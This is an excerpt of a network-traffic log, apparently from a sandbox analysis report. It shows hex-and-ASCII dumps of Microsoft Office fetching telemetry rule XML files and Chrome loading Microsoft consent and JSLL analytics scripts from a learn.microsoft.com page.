2024-11-28 12:10:12 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=51004 Date: Thu, 28 Nov 2024 12:10:12 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121014Z-174f78459685m244hC1EWRgp2c0000000ybg000000000694 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49798	13.107.246.63	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 12:10:14 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 18280 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: cc0bcaa7-101e-006d-2d63-4194d1000000 x-ms-version: 2009-09-19 x-azure-ref: 20241128T121014Z-174f7845968swgbqhC1EWRmnb40000000yf0000000009s8v Accept-Ranges: bytes
2024-11-28 12:10:14 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-28 12:10:14 UTC	83	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replac
2024-11-28 12:10:14 UTC	16384	IN	Data Raw: 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 43 61 74 65 67 6f 72 69 65 73 3d 65 2c 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 3d 74 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 43 61 74 65 67 6f 72 69 65 73 50 72 65 66 65 72 65 6e 63 65 73 3d 6f 2c 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 Data Ascii: e(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookieCategories=e,this.textResources=t,this.cookieCategoriesPreferences=o,this.containe
2024-11-28 12:10:14 UTC	16384	IN	Data Raw: 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 2d Data Ascii: abel:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:focus::before {\n border: 1px solid "+e["radio-button-hover-border-
2024-11-28 12:10:14 UTC	4195	IN	Data Raw: 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 29 3a 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 63 61 6c 6c 28 65 29 7d 29 29 7d 2c 65 2e 63 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4d 53 43 43 22 2c 65 2e Data Ascii: length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventListener(t,o):e.attachEvent("on"+t,(function(){o.call(e)}))},e.cookieName="MSCC",e.

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121014Z-174f7845968cdxdrhC1EWRg0en0000000y8000000000b2d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:14 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121014Z-174f7845968glpgnhC1EWR7uec0000000yp00000000018f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49802	13.107.246.63	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 12:10:14 UTC	889	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241128T121014Z-174f7845968glpgnhC1EWR7uec0000000yf000000000abhf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:14 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-28 12:10:14 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-28 12:10:14 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-28 12:10:15 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-28 12:10:15 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-28 12:10:15 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-28 12:10:15 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
